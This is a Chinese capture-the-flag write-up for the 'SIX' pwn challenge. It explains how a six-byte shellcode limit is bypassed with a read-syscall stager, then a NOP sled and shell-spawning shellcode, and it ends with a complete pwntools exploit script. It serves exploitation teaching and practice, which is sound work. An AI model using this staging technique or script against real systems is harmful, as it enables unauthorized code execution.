1. 程式人生 > >護網杯 SIX(PWN)

護網杯 SIX(PWN)

首先檢視程式保護。
在這裡插入圖片描述
程式的主要邏輯如下。
在這裡插入圖片描述
先看看分配記憶體函式。兩塊記憶體的地址相近。且第一塊的許可權是rwx。
在這裡插入圖片描述
判斷輸入shellcode的函式。要求輸入不超過6個的偶數字節,且各不相同。
在這裡插入圖片描述
主函式最後會執行分配的第一塊記憶體中的程式碼,複製到其中的src反彙編的結果為。
在這裡插入圖片描述
結合呼叫v3前的彙編程式碼。
在這裡插入圖片描述
可見src中程式碼的作用就是將esp指向了mmap申請的第二塊的記憶體空間並將其他暫存器置0。隨著程式的執行rip會執行我們輸入的shellcode,此時這兩塊的佈局大致為
在這裡插入圖片描述
由於src將各暫存器都置0了,我們可以利用0號系統呼叫read輸入進行第二次的shellcode輸入,輸入位置可以是rsp棧頂,rax=0表示0號呼叫read,rdi=0表示標準輸入,rsi可以設定為rsp,表示輸入到棧頂,rdx表示輸入位元組大小,這個不固定,只要能過judge就行。然後通過read輸入shellcode覆蓋這兩塊記憶體空間,直到覆蓋過rip,最後在尾部加上呼叫shell的shellcode即可。這裡我用nop填充。
在這裡插入圖片描述


最後的指令碼,成功率不是100%,多試幾次。

  1 from pwn import *                                       
  2  
  3 io=process("./six")
  4 context.binary='./six'
  5  
  6 read=asm('''
  7              push rsp
  8              pop rsi
  9              mov edx,esi
 10              syscall  
 11         ''')
 12 nop=asm('''
 13         nop  
 14         '''
 15         )
 16 shell=asm(shellcraft.sh())
 17  
 18 payload=nop*0xb46+shell
 19 io.sendafter("shellcode:\n",read)
 20 io.sendline(payload)
 21 io.interactive()